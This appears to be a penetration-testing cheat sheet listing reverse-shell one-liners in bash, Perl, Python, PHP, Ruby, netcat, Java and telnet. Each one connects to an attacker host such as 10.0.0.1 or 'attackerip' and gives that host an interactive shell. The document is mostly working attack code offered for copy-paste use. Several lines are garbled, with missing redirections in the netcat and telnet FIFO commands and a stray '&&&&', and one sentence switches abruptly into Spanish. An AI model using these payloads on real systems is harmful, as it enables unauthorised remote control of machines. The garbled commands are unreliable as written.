Exploitation

How to Create a Reverse Shell

If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.

If it’s not possible to add a new account / SSH key / .rhosts file and just log in, your next step is likely to be either trowing back a reverse shell or binding a shell to a TCP port.

Your options for creating a reverse shell are limited by the scripting languages installed on the target system – although you can probably download a binary program if you are properly prepared.

The examples shown are tailored to Unix-like systems. Some of the examples below should also work on Windows if you use substitute “/bin/sh -i” with “cmd.exe”.

Each of the methods below is aimed to be a one-liner that you can copy/paste. As such they’re quite short lines, but not very readable.

BASH

Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10)

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

OR

exec /bin/bash 0&0 2>&0

OR

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

OR

exec 5<>/dev/tcp/attackerip/4444
cat <&5 | while read line; do $line 2>&5 >&5; done

OR

while read line 0<&5; do $line 2>&5 >&5; done
PERL

Here’s a short, feature-free version that depends on /bin/sh:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl reverse shell that does not depend on /bin/sh:

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

If the target system is running Windows use the following one-liner:

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
PYTHON

This was tested under Linux / Python 2.7

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP

This code assumes that the TCP connection uses file descriptor 3. This worked on most tested system. If it doesn’t work, try 4, 5, 6 …

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
RUBY

Short version that depends on /bin/sh:

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Longer Ruby reverse shell that does not depend on /bin/sh:

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

If the target system is running Windows use the following one-liner:

ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
NETCAT

Netcat is rarely present on production systems and even if it is there are several version of Netcat, some of which don’t support the -e option.

nc -e /bin/sh 10.0.0.1 1234

Others possible Netcat reverse shells, depending on the Netcat version and compilation flags:

nc -c /bin/sh attackerip 4444

OR

/bin/sh | nc attackerip 4444

OR

If you have the wrong version of Netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:

rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4444 0/tmp/p
JAVA

Siempre presente cuando lo necesite, el lenguaje “Java” también puede ser una muy buena solución para establecer un shell inverso.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
TELNET

Of course, you can also use Telnet as an alternative for Netcat:

rm -f /tmp/p; mknod /tmp/p p &&&& telnet attackerip 4444 0/tmp/p

OR

# Remember to listen on your machine also on port 4445/tcp
telnet attackerip 4444 | /bin/bash | telnet attackerip 4445

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